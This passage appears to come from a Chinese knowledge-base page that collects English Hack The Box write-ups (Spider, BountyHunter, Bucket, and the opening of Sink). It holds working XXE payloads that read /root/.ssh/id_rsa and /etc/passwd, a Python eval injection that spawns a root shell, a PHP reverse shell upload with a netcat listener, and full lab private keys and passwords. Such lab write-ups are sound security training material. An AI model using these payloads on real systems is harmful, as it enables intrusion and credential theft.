└─# echo -n PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+bHVjaWZlcjExPC91c2VybmFtZT4KICAgICAgICA8aXNfYWRtaW4+MDwvaXNfYWRtaW4+CiAgICA8L2RhdGE+Cjwvcm9vdD4= | base64 -d
<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>lucifer11</username>
        <is_admin>0</is_admin>
    </data>
</root>
```

And we also see a hidden value in login view page source.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1992.jpg)

So we can do XXE(XML External Entity Injection)

 - Link: [XXE Cheatsheet – XML External Entity Injection](https://gracefulsecurity.com/xxe-cheatsheet-xml-external-entity-injection/)

After that i analize that we need to put our payload inside this hidden version field and the output is show in username field becuase the username field is reflected when we login inside that.

Now after some hit and try i got lfi and i can read inside root directory so let's get the root id_rsa key.

For that i intercept the req of login in burp and add this payload.

``` bash
username=%26username%3b&version=1.0.0--><!DOCTYPE+foo+[<!ENTITY+username+SYSTEM+"/root/.ssh/id_rsa">+]><!--
```

``` bash
username=&username;&version=1.0.0--><!DOCTYPE+foo+[<!ENTITY+username+SYSTEM+"/root/.ssh/id_rsa">+]><!--
```

Boom 🧨 we got the id_rsa of root.

View page source for formatter the id_rsa.

 - root_rsa

``` bash
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAl/dn2XpJQuIw49CVNdAgdeO5WZ47tZDYZ+7tXD8Q5tfqmyxq
gsgQskHffuzjq8v/q4aBfm6lQSn47G8foq0gQ1DvuZkWFAATvTjliXuE7gLcItPt
iFtbg7RQV/xaTwAmdRfRLb7x63TG6mZDRkvFvGfihWqAnkuJNqoVJclgIXLuwUvk
4d3/Vo/MdEUb02ha7Rw9oHSYKR4pIgv4mDwxGGL+fwo6hFNCZ+YK96wMlJc3vo5Z
EgkdKXy3RnLKvtxjpIlfmAZGu0T+RX1GlmoPDqoDWRbWU+wdbES35vqxH0uM5WUh
vPt5ZDGiKID4Tft57udHxPiSD6YBhLT5ooHfFQIDAQABAoIBAFxB9Acg6Vc0kO/N
krhfyUUo4j7ZBHDfJbI7aFinZPBwRtq75VHOeexud2vMDxAeQfJ1Lyp9q8/a1mdb
sz4EkuCrQ05O9QthXJp0700+8t24WMLAHKW6qN1VW61+46iwc6iEtBZspNwIQjbN
rKwBlmMiQnAyzzDKtNu9+Ca/kZ/cAjLpz3m1NW7X//rcDL8kBGs8RfuHqz/R4R7e
HtCvxuXOFnyo/I+A3j1dPHoc5UH56g1W82NwTCbtCfMfeUsUOByLcg3yEypClO/M
s7pWQ1e4m27/NmU7R/cslc03YFQxow+CIbdd59dBKTZKErdiMd49WiZSxizL7Rdt
WBTACsUCgYEAyU9azupb71YnGQVLpdTOzoTD6ReZlbDGeqz4BD5xzbkDj7MOT5Dy
R335NRBf7EJC0ODXNVSY+4vEXqMTx9eTxpMtsP6u0WvIYwy9C7K/wCz+WXNV0zc0
kcSQH/Yfkd2jADkMxHXkz9THXCChOfEt7IUmNSM2VBKb1xBMkuLXQbMCgYEAwUBS
FhRNrIB3os7qYayE+XrGVdx/KXcKva6zn20YktWYlH2HLfXcFQQdr30cPxxBSriS
BAKYcdFXSUQDPJ1/qE21OvDLmJFu4Xs7ZdGG8o5v8JmF6TLTwi0Vi45g38DJagEl
w42zV3vV7bsAhQsMvd3igLEoDFt34jO9nQv9KBcCgYEAk8eLVAY7AxFtljKK++ui
/Xv9DWnjtz2UFo5Pa14j0O+Wq7C4OrSfBth1Tvz8TcW+ovPLSD0YKODLgOWaKcQZ
mVaF3j64OsgyzHOXe7T2iq788NF4GZuXHcL8Qlo9hqj7dbhrpPUeyWrcBsd1U8G3
AsAj8jItOb6HZHN0owefGX0CgYAICQmgu2VjZ9ARp/Lc7tR0nyNCDLII4ldC/dGg
LmQYLuNyQSnuwktNYGdvlY8oHJ+mYLhJjGYUTXUIqdhMm+vj7p87fSmqBVoL7BjT
Kfwnd761zVxhDuj5KPC9ZcUnaJe3XabZU7oCSDbj9KOX5Ja6ClDRswwMP31jnW0j
64yyLwKBgBkRFxxuGkB9IMmcN19zMWA6akE0/jD6c/51IRx9lyeOmWFPqitNenWK
teYjUjFTLgoi8MSTPAVufpdQV4128HuMbMLVpHYOVWKH/noFetpTE2uFStsNrMD8
vEgG/fMJ9XmHVsPePviZBfrnszhP77sgCXX8Grhx9GlVMUdxeo+j
-----END RSA PRIVATE KEY-----
```

Now let's save the id_rsa and ssh in and get our root.txt.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/spider]
└─# ssh -i root_rsa root@10.10.10.243
Last login: Mon May 31 13:58:50 2021
root@spider:~# id
uid=0(root) gid=0(root) groups=0(root)
root@spider:~# whoami
root
root@spider:~# ls
root.txt
root@spider:~# cat root.txt
6dee7d55ac7082e677f515981ce678c7
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1993.jpg)


#### Summary of knowledge

 - use sqlmap --eval config key cookie sql injection
 - Server Side Template Injection to get a reverse shell
 - use XML External Entity Injection to got lfi to get the root id_rsa key

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end spider -->

</details>




# XML 外部实体与二次解释

BountyHunter 把 XML 实体读取与本地票据校验串到同一条来源链。本章重点保留请求编码、文件读取证据，以及票据文本进入 eval 前必须满足的格式和算术条件。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/xml/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Base64 和 URL 编码影响加号等字符在请求与响应中的传输。

票据文件头、目标行和余数判断决定代码是否走到解释执行。

Spider、Mimic 和其他含 XML 的案例可通过知识库主题索引交叉查阅。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [XML 编码链与票据校验中的 eval](#case-bountyhunter) | bountyhunter | XXE、编码、Python、eval |

<a id="case-bountyhunter"></a>

## XML 编码链与票据校验中的 eval

XXE 请求的 Base64 与 URL 编码顺序会影响特殊字符传输。提权入口要求票据文件头和余数条件均成立后才进入 eval。

<p class="kb-provenance">来源 bountyhunter · 原记录 2021-07-26 · 15 个代码块 · 13 处图片引用</p>

<details class="kb-evidence" id="record-bountyhunter">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start bountyhunter -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	24 Jul 2021
IP:	10.10.11.100

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2036.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration

use nmap as usual

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2037.jpg)

port 80 and 22

looks like we have a form we can submit stuff info

``` bash
http://10.10.11.100/log_submit.php
```

see burpsuite history

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2038.jpg)

looks like data in this post requests gets encoded base64

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2039.jpg)

``` bash
http://10.10.11.100/resources/README.txt
```

looks like we should be able to use test acount on the portal and there should be a plaintext password stored somewhere

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2040.jpg)

looks like we have an xxe vulnerability

https://portswigger.net/web-security/xxe

use the following method to generate payload

in the http://10.10.11.100//log_submit.php page:

``` xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <bugreport>
    <title>&xxe;</title>
    <cwe>test</cwe>
    <cvss>test</cvss>
    <reward>test</reward>
    </bugreport>
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2041.jpg)

after some more enumeration we find 

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2042.jpg)

let's try to read the source code for this page

convert the below to base64, then to url encoding

``` xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php">]>
    <bugreport>
    <title>&xxe;</title>
    <cwe>test</cwe>
    <cvss>test</cvss>
    <reward>test</reward>
    </bugreport>
```

and we receive the following in return

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2043.jpg)

this encoding scheme must be used in order to avoid problematic characters like "+" in the sent package, and the symbols in the returned file cred!

``` bash
admin:m19RoAU0hP41A1sTsq6K
```

refer to the /etc/passwd file we get before, we ssh into target

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2044.jpg)

``` bash
ssh development@10.10.11.100
```

and get the user flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2034.jpg)

#### Privesc

``` bash
sudo -l
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2045.jpg)

``` python
cat /opt/skytrain_inc/ticketValidator.py

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()
```

looks like it is looking for a .md file

``` python
def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()
```

this .md file needs to contain "# Skytrain Inc" in the first line:

``` python
for i,x in enumerate(ticketFile.readlines()):
    if i == 0:
        if not x.startswith("# Skytrain Inc"):
            return False
        continue
```

line two needs to contain "## Ticket to "

``` python
if i == 1:
    if not x.startswith("## Ticket to "):
        return False
    print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
    continue
```

next it's looking for "__Ticket Code:__"

``` python
if x.startswith("__Ticket Code:__"):
    code_line = i+1
    continue
```

and here we have a little bit of math:

``` python
if code_line and i == code_line:
    if not x.startswith("**"):
        return False
    ticketCode = x.replace("**", "").split("+")[0]
    if int(ticketCode) % 7 == 4:
        validationNumber = eval(x.replace("**", ""))
        if validationNumber > 100:
            return True
        else:
            return False
```

but it looks like we need to have a string that begins with ** and the ticket code must return a remainder of 4 when divided by 7, then we get to eval(); which should allow us to call a system shell:

``` bash
# Skytrain Inc
## Ticket to 
__Ticket Code:__
**102+ 10 == 112 and __import__('os').system('/bin/bash') == False
```

 - note: there is a space after "## Ticket to" string, ortherwise it would appear an error and failed

save it to 111.md, then run:

``` bash
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py


then enter:
/home/development/111.md
```

now we get root and the root flag:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2035.jpg)

#### Summary of knowledge

 - use xxe get ssh creds
 - privesc through root permission /opt/skytrain_inc/ticketValidator.py file

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end bountyhunter -->

</details>




# AWS 模拟环境、请求走私与密钥服务

本章保留 S3、DynamoDB、LocalStack、Secrets Manager 和 KMS 在原靶场中的服务关系。权限、数据结构与应用消费逻辑比单独的 API 名称更能解释各段链如何衔接。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/cloud/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Bucket 的表结构和 bucket-app 查询顺序决定文件内容如何被带入输出。

Sink 的请求走私来自前后端解析差异，后续 AWS 材料需要独立核对权限。

Stacked 的管理请求与 Docker 挂载连接了不同执行上下文。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [S3 写权限与 DynamoDB 数据流](#case-bucket) | bucket | AWS、S3、DynamoDB |
| [请求解析差异与 KMS 数据](#case-sink) | sink | 请求走私、AWS、KMS、CVE-2019-18277 |
| [LocalStack 请求与容器边界](#case-stacked) | stacked | LocalStack、XSS、Docker |

<a id="case-bucket"></a>

## S3 写权限与 DynamoDB 数据流

原环境允许枚举 S3 与 DynamoDB，再通过 bucket-app 对 alerts 表的消费关系读取文件。表名、字段名和应用查询次序均在原记录中。

<p class="kb-provenance">来源 bucket · 原记录 2020-11-07 · 13 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-bucket">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start bucket -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	17 Oct 2020
IP:	10.10.10.212

User Blood szymex73	00 days, 00 hours, 41 mins, 20 seconds.
Root Blood szymex73	00 days, 01 hours, 20 mins, 22 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb116.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~/hackthebox/machine/bucket# nmap -sV -v -p- --min-rate=10000 10.10.10.212
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41
```

 - install aws-cli

``` bash
apt-get install awscli
```

 - configure aws

``` bash
root@kali:~/hackthebox/machine/bucket# aws configure
AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key [None]: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Default region name [None]: us-west-2
Default output format [None]: json
```

 - listing the available buckets in s3.bucket.htb

``` bash
root@kali:~/hackthebox/machine/bucket# aws s3 ls --endpoint-url http://s3.bucket.htb --no-sign-request
2020-11-07 06:25:03 adserver
```

 - uploading files to the bucket in s3.bucket.htb

``` bash
root@kali:~/hackthebox/machine/bucket# aws s3 cp shell.php s3://adserver/shell.php --endpoint-url http://s3.bucket.htb --no-sign-request
upload: ./shell.php to s3://adserver/shell.php
```

 - accessing the dynamodb, listing the available tables

``` bash
root@kali:~/hackthebox/machine/bucket# aws dynamodb list-tables --endpoint-url http://s3.bucket.htb/ --no-sign-request
{
    "TableNames": [
        "users"
    ]
}
```

 - scanning the enumerated tables, (acessing the values in it)

``` bash
root@kali:~/hackthebox/machine/bucket# aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb/ --no-sign-request
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}
```

 - usernames and passwords are enumerated
 - Uploading a php reverse shell and accessing it in http://bucket.htb/shell.php
 - now accessing the shell.php provides us with the reverse shell

``` bash
root@kali:~/hackthebox/machine/bucket# nc -lvp 3344
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::3344
Ncat: Listening on 0.0.0.0:3344
Ncat: Connection from 10.10.10.212.
Ncat: Connection from 10.10.10.212:45936.
Linux bucket 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 12:21:02 up  1:09,  1 user,  load average: 0.41, 0.14, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
roy      pts/0    10.10.14.2       12:10   10:06   0.03s  0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 1: python: not found
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@bucket:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@bucket:/$ whoami
whoami
www-data
www-data@bucket:/$ ls /home
ls /home
roy
www-data@bucket:/$ su roy
su roy
Password: n2vM-<_K_Q:.Aa2

roy@bucket:/$ cd ~
cd ~
roy@bucket:~$ ls
ls
project  user.txt
roy@bucket:~$ cat user.txt
cat user.txt
fb6d6fd9ef6bc4d570af540eb8f3bed7
```

now we got the user flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb117.jpg)


#### privilege esclation

 - aws is installed in the system and an internal service port 8000 (web service) and port 4566 (aws service) 

 - forward the port 8000 to local machine with chisel

 - In the bucket-app/index.php the index.php shows another communcation to the internal service, a new table name alerts whichi is accessed with a post request with the values data

 - create a new dynamodb table

``` bash
/usr/bin/aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://127.0.0.1:4566
```

 - create a table and insert the values as requested by the index.php

``` bash
/usr/bin/aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"attached.txt\" icon=\"PushPin\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566
```

 - Now after inserting everything needed, make a curl POST

``` bash
curl -X POST -d "action=get_alerts" http://127.0.0.1:8000/ -v
```

 - Check out the http://127.0.0.1:8000/attached.txt in your browser to obtain the id_rsa

 - now use id_rsa to get root

``` bash
echo "-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----" > id_rsa
```

``` bash
root@kali:~/hackthebox/machine/bucket# chmod 600 id_rsa
root@kali:~/hackthebox/machine/bucket# ssh -i id_rsa root@10.10.10.212
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 07 Nov 2020 12:33:44 PM UTC

  System load:                      0.12
  Usage of /:                       39.8% of 19.56GB
  Memory usage:                     19%
  Swap usage:                       0%
  Processes:                        190
  Users logged in:                  0
  IPv4 address for br-bee97070fb20: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.212
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:c42


91 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Oct 13 10:25:01 2020
root@bucket:~# id
uid=0(root) gid=0(root) groups=0(root)
root@bucket:~# whoami
root
root@bucket:~# ls
backups  docker-compose.yml  files  restore.php  restore.sh  root.txt  snap  start.sh  sync.sh
root@bucket:~# cat root.txt
51849d4b9ce892c1a92d37acd665a1b2
```

and we finally got root

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb118.jpg)


#### Summary of knowledge

 - aws upload shell
 - enumerate dynamodb tables
 - port forwarding
 - create dynamodb table to read files

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end bucket -->

</details>

<a id="case-sink"></a>

## 请求解析差异与 KMS 数据

HAProxy 与 Gunicorn 的请求边界差异连接到会话信息，Git 项目中的 AWS 材料再对应 Secrets Manager 与 KMS。版本参数修改、压缩和解密顺序保留。

<p class="kb-provenance">来源 sink · 原记录 2021-02-07 · 27 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-sink">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start sink -->

#### introduce

OS: Linux
Difficulty: Insane
Points:	50
Release:	30 Jan 2021
IP:	10.10.10.225

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb180.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/sink]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.225
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
3000/tcp  open     ppp?
3971/tcp  filtered lanrevserver
5000/tcp  open     http           Gunicorn 20.0.0
5502/tcp  filtered fcp-srvr-inst1
15587/tcp filtered unknown
33076/tcp filtered unknown
33578/tcp filtered unknown
34042/tcp filtered unknown
35365/tcp filtered unknown
35514/tcp filtered unknown
37653/tcp filtered unknown
49460/tcp filtered unknown
52393/tcp filtered unknown
61352/tcp filtered unknown
62934/tcp filtered unknown
64002/tcp filtered unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.91%I=7%D=2/8%Time=6020CC14%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(GetRequest,1000,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x
SF:20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\
SF:x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=592127b437b6a2ef;\
SF:x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=PccXCCJkvDgYnPWvzV9xVDHs
SF:7ac6MTYxMjc2MjI5NDgwMDY5NzAyMA;\x20Path=/;\x20Expires=Tue,\x2009\x20Feb
SF:\x202021\x2005:31:34\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEORI
SF:GIN\r\nDate:\x20Mon,\x2008\x20Feb\x202021\x2005:31:34\x20GMT\r\n\r\n<!D
SF:OCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head\x2
SF:0data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"vi
SF:ewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<met
SF:a\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<title>\
SF:x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<link\
SF:x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-cr
SF:edentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\">\n
SF:\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x20a\
SF:x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20content
SF:=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20pain
SF:less")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(HTTPOptions,1541,"HTTP/1\.0\x20404\x20Not\x20Found\r\n
SF:Content-Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-
SF:US;\x20Path=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=9fc
